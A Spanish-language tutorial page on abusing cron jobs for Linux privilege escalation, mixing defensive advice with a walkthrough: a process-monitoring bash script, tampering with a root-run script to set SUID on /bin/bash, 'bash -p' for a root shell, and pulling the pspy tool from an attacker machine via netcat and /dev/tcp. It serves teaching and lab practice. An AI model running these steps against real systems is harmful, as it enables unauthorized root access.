Crontask Abuse
En sistemas Unix/Linux, existe algo llamado tareas cron. Son básicamente comandos que se ejecutan automáticamente cada cierto tiempo, como si fueran alarmas programadas. Estas tareas se definen en un archivo llamado crontab
, donde indicás qué querés ejecutar y cuándo.
Ahora, esto que parece bastante útil también puede ser una puerta abierta para los atacantes si no se configura bien. Por ejemplo, si hay una tarea cron que se ejecuta como root y apunta a un script que tiene permisos mal puestos, un atacante podría modificar ese script y meterle código malicioso. Y como lo ejecuta root… bueno, ya te imaginás: el atacante termina teniendo privilegios elevados.
¿Cómo detectan esto los atacantes?
Una herramienta muy conocida para esto es Pspy. Es una app de consola que te deja ver en tiempo real qué procesos se están ejecutando en el sistema, incluyendo los lanzados por cron. Con eso, un atacante puede identificar fácilmente scripts o comandos que se ejecutan sin que nadie lo note.
📌 Si querés ver Pspy en acción o probarla, está en GitHub: https://github.com/DominicBreuker/pspy
¿Cómo protegerse de esto?
Acá van unos consejos bastante útiles para minimizar los riesgos:
Reduce la cantidad de tareas cron activas: cuanto menos tengas, menos posibles blancos hay para un atacante. Mantené solo lo necesario y asegurate de que cada tarea tiene una razón válida para existir.
Revisa los permisos de los scripts usados por cron: no le des permisos de escritura a cualquiera, y mucho menos si la tarea se ejecuta como root. Evitá usar tareas cron con permisos elevados si no es imprescindible.
Monitorea el sistema con frecuencia: revisá los crontabs, buscá cambios raros o tareas nuevas que no deberían estar ahí. Usar herramientas de monitoreo también ayuda un montón a detectar cosas sospechosas.
Activa los logs de cron: así podés llevar un registro de qué se ejecutó, cuándo, y con qué resultados. Muy útil si necesitás investigar algo raro después.
vamos a crear un script de bash "procmon.sh" para automatizar la búsqueda de tareas cron
#!/bin/bash
old_process=$(ps -eo user,command)
while true; do
new_process=$(ps -eo user,command)
diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "procmon|command|kworker"
old_process=$new_process
done
el script debe tener permisos de ejecución preferiblemente
el output deberia estar mostrando que usuarios ejecutan el proceso, imaginemos ver un script por root corriendo en tmp podemos abrir el script de /tmp/ que esta ejecutando root para cambiar lo que se ejecuta y escalar nuestro privilegio

y como vemos le asignamos privilegio SUID a la bash
esperamos a que se ejecute la tarea mediante watch para ver en tiempo real los permisos concatenando comandos :
watch -n 1 ls -l /bin/bash
despues de esto ponemos hacer bash -p para conseguir una consola privilegiada
hay una herramienta llamada pspy que nos puede ayudar en la automatización
nos descargamos el archivo en local y lo pasamos a la maquina con /dev/tcp
primero compartimos el archivo con netcat
nc -nlvp 443 < pspy
leemos desde la maquina el dev tcp con nuestra ip de atacante y puerto y lo metemos en un output
cat < /dev/tcp/ip/443 > pspy
si queremos comprobar que la integridad del archivo no fue afectada podemos hacer un md5sum en las 2 maquinas del archivo y verificar que sea el mismo hash
md5sum pspy
y nos listara los permisos corriendo en el sistema de una mejor forma
Last updated